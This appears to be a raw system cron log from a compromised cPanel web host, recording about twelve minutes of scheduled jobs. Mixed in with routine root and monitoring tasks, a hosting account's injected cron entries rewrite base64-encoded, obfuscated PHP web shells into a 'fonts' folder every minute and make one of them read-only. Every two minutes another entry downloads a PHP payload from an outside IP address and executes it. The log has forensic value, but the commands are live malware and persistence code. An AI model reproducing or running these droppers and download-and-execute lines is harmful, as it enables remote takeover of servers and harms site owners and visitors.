Feb 22 15:42:01 ip-184-168-122-23 CROND[12596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:43:01 ip-184-168-122-23 CROND[12929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:43:01 ip-184-168-122-23 CROND[12931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:43:01 ip-184-168-122-23 CROND[12932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:43:01 ip-184-168-122-23 CROND[12934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:44:01 ip-184-168-122-23 CROND[13256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:44:01 ip-184-168-122-23 CROND[13258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:44:01 ip-184-168-122-23 CROND[13261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:44:01 ip-184-168-122-23 CROND[13260]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:44:01 ip-184-168-122-23 CROND[13259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:45:01 ip-184-168-122-23 CROND[13677]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 15:45:01 ip-184-168-122-23 CROND[13683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:45:01 ip-184-168-122-23 CROND[13687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:45:01 ip-184-168-122-23 CROND[13688]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 15:45:01 ip-184-168-122-23 CROND[13686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:45:01 ip-184-168-122-23 CROND[13684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:46:01 ip-184-168-122-23 CROND[14053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:46:01 ip-184-168-122-23 CROND[14055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:46:01 ip-184-168-122-23 CROND[14056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:46:01 ip-184-168-122-23 CROND[14057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:46:01 ip-184-168-122-23 CROND[14058]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 15:46:01 ip-184-168-122-23 CROND[14059]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:47:01 ip-184-168-122-23 CROND[14389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:47:01 ip-184-168-122-23 CROND[14388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:47:01 ip-184-168-122-23 CROND[14390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:47:01 ip-184-168-122-23 CROND[14391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:48:02 ip-184-168-122-23 CROND[14717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:48:02 ip-184-168-122-23 CROND[14719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:48:02 ip-184-168-122-23 CROND[14720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:48:02 ip-184-168-122-23 CROND[14721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:48:02 ip-184-168-122-23 CROND[14723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:49:01 ip-184-168-122-23 CROND[15042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:49:01 ip-184-168-122-23 CROND[15043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:49:01 ip-184-168-122-23 CROND[15044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:49:01 ip-184-168-122-23 CROND[15046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:50:01 ip-184-168-122-23 CROND[15377]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 15:50:01 ip-184-168-122-23 CROND[15380]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 15:50:01 ip-184-168-122-23 CROND[15379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:50:01 ip-184-168-122-23 CROND[15382]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:50:01 ip-184-168-122-23 CROND[15384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:50:01 ip-184-168-122-23 CROND[15385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:50:01 ip-184-168-122-23 CROND[15389]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 15:50:01 ip-184-168-122-23 CROND[15394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:50:01 ip-184-168-122-23 CROND[15395]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 15:51:01 ip-184-168-122-23 CROND[15839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:51:01 ip-184-168-122-23 CROND[15841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:51:01 ip-184-168-122-23 CROND[15842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:51:01 ip-184-168-122-23 CROND[15840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:52:01 ip-184-168-122-23 CROND[16187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:52:01 ip-184-168-122-23 CROND[16190]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 15:52:01 ip-184-168-122-23 CROND[16191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:52:01 ip-184-168-122-23 CROND[16192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:52:01 ip-184-168-122-23 CROND[16193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:53:01 ip-184-168-122-23 CROND[16528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:53:01 ip-184-168-122-23 CROND[16529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:53:01 ip-184-168-122-23 CROND[16531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:53:01 ip-184-168-122-23 CROND[16533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:54:01 ip-184-168-122-23 CROND[16889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 15:54:01 ip-184-168-122-23 CROND[16891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 15:54:01 ip-184-168-122-23 CROND[16892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 15:54:01 ip-184-168-122-23 CROND[16893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 15:54:01 ip-184-168-122-23 CROND[16890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
